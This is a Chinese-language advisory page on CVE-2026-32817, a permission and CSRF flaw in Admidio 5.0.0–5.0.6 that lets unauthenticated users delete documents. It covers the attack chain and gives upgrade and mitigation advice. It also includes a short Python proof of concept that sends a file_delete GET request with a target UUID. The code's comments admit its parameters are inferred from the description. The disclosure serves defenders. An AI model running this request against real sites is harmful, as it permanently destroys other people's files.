IPBUF安全漏洞报告
English
CVE-2026-32817 CVSS 9.1 严重

CVE-2026-32817 Admidio文件删除权限绕过漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-32817
漏洞类型
权限绕过
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Admidio

相关标签

权限绕过CSRFAdmidio文件删除严重漏洞

漏洞概述

Admidio 5.0.0至5.0.6版本存在严重的权限绕过漏洞,允许未授权用户删除文件。由于文档模块仅校验查看权限且缺失CSRF防护,攻击者可通过发送特制的HTTP GET请求删除任意文件或文件夹。若模块处于公开模式,未经身份验证的攻击者即可永久摧毁整个文档库。

技术细节

该漏洞源于Admidio文档模块在处理删除操作时的逻辑缺陷。在modules/documents-files.php中,folder_delete和file_delete处理函数仅调用了getFolderForDownload或getFileForDownload来验证用户是否有权查看目标资源,而完全未验证删除权限。此外,系统未实施CSRF令牌验证,且直接从$_GET参数中读取目标UUID。这使得攻击者只需构造一个包含目标UUID的HTTP GET请求即可触发删除。在公开访问模式下,未认证攻击者可利用此漏洞遍历并删除所有标记为公开的文档,导致数据完整性和可用性遭受严重破坏。

攻击链分析

STEP 1
侦察
攻击者识别目标Admidio系统,并通过公开模式或低权限账户访问文档模块,收集目标文件或文件夹的UUID。
STEP 2
利用
攻击者构造包含目标UUID和删除操作参数(如mode=file_delete)的HTTP GET请求,发送给服务器。
STEP 3
权限绕过与执行
服务器接收到请求后,仅验证查看权限(或公开模式下无需验证),未验证删除权限及CSRF令牌,直接执行删除操作。
STEP 4
影响
目标文件或文件夹被永久删除,导致数据丢失。若为公开模式,攻击者可清空整个文档库。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # POC for CVE-2026-32817 # Description: Delete a file/folder via plain HTTP GET request due to missing permission checks and CSRF protection. def exploit(target_url, target_uuid): # The endpoint is modules/documents-files.php # Vulnerable parameters are derived from the description (folder_delete/file_delete actions) # This example demonstrates the file_delete action full_url = f"{target_url}/modules/documents-files.php" # Parameters based on the vulnerability description params = { 'mode': 'file_delete', # or 'folder_delete' 'uuid': target_uuid # The UUID of the target file/folder } try: response = requests.get(full_url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Request sent to {full_url}") print(f"[+] Status Code: {response.status_code}") print("[+] Check if the file/folder has been deleted.") else: print(f"[-] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target and a valid UUID obtained via reconnaissance target = "http://example.com/admidio" uuid = "VALID_UUID_HERE" exploit(target, uuid)

影响范围

Admidio 5.0.0
Admidio 5.0.1
Admidio 5.0.2
Admidio 5.0.3
Admidio 5.0.4
Admidio 5.0.5
Admidio 5.0.6

防御指南

临时缓解措施
建议立即将Admidio升级到5.0.7版本以修复此漏洞。如果暂时无法升级,应禁用文档和文件模块(设置documents_files_module_enabled = 0)或确保所有文件夹均不处于公开状态(fol_public = false),以减少攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表